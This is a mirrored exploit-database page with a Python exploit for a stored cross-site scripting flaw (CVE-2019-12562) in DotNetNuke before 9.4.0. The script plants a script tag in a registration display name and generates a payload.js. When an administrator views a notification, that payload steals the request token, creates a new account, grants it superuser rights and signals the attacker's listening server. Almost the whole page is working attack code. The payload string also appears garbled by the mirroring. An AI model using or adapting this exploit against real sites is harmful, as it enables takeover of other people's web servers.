DotNetNuke < 9.4.0 - Cross-Site Scripting

  • 作者: MaYaSeVeN
    日期: 2019-10-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47448/
  • # Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0
    # Exploit Description : This exploit will add a superuser to target DNN website. 
    # Exploit Condition : Successful exploitation occurs when an admin user visits a notification page.
    # Exploit Author: MAYASEVEN
    # CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/)
    # Github : https://github.com/MAYASEVEN/CVE-2019-12562
    # Website : https://mayaseven.com
    
    import urllib.request
    from bs4 import BeautifulSoup
    
    ####################################################################################################
    ################################## Config the variables here #######################################
    ####################################################################################################
    TARGET_URL = "http://targetdomain/DotNetNuke"
    USERNAME = "MAYASEVEN" # At least five characters long
    PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters
    EMAIL = "research@mayaseven.com" # Change email to any you want
    # A web server for listening an event
    LISTEN_URL = "http://yourdomain.com:1337"
    #####################################################################################################
    #####################################################################################################
    #####################################################################################################
    
    # Payload to add a superuser to website
    PAYLOAD = "John<script src='https://www.exploit-db.com/exploits/47448/"+LISTEN_URL+"/payload.js'></script>"
    FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value;
    var xhttp = new XMLHttpRequest();
    var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}";
    xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    var returnhttp1 = new XMLHttpRequest();
    returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user');
    returnhttp1.send();
    var xhttp2 = new XMLHttpRequest();
    var userId = JSON.parse(xhttp.responseText).userId;
    xhttp2.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    var returnhttp2 = new XMLHttpRequest();
    returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success');
    returnhttp2.send();
    }
    }
    xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true);
    xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
    xhttp2.setRequestHeader('RequestVerificationToken', token);
    xhttp2.send(params);
    }
    };
    xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true);
    xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8');
    xhttp.setRequestHeader('RequestVerificationToken', token);
    xhttp.send(params);
    """
    
    def create_payload():
    # Create a payload.js file
    f = open("payload.js", "w")
    f.write(FILE_CONTENT)
    f.close()
    
    def check_target():
    global regpage
    reg = urllib.request.urlopen(TARGET_URL+"/Register")
    regpage = reg.read().decode("utf8")
    reg.close()
    if "dnn" in regpage:
     return True
    else: return False
    
    def exploit():
    # Fetching parameter from regpage
    soup = BeautifulSoup(regpage, 'html.parser')
    formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"})
    inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input")
    param = {}
    print(" [+] Fetching DNN random parameter name.")
    for i in soup.select('input[name*="_TextBox"]'):
    print(" [+]", i["aria-label"],":", i["name"])
    param[i["aria-label"]] = i["name"]
    ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton"
    __EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"]
    __VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"]
    __EVENTTARGET = "dnn$ctr$Register$registerButton"
    
    # Posting data to target
    headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'}
    data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET,
    param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'}
    data = urllib.parse.urlencode(data).encode()
    req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers)
    response = urllib.request.urlopen(req)
    if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"):
    create_payload()
    return True
    elif "A user already exists" in response.read().decode("utf8"):
    print(" [!] The user already exists")
    return False 
    elif "The Display Name is invalid." in response.read().decode("utf8"):
    print(" [!] DotNetNuke verion already been patched")
    else: return False
    
    def main():
    print("[ Checking the target ]")
    if(check_target()):
    print(" [+] Target is DNN website.")
    print(" [+] URL: %s" % TARGET_URL)
    else:
    print(" [!] Target is not DNN website and exploit will not working.")
    return
    print("[ Running an exploit ]")
    if(exploit()):
    print("[ Successful exploited the target ]")
    print("> Creating a payload.js file in current directory.")
    print("> You have to serve the web server and place payload.js on it.")
    print("> And waiting admin to open a notification then the user will be added.")
    print("> Username: %s" % USERNAME)
    print("> Password: %s" % PASSWORD)
    else:
    print(" [!] Failed to exploit the target.")
    return
    
    if(__name__ == "__main__"):
    main()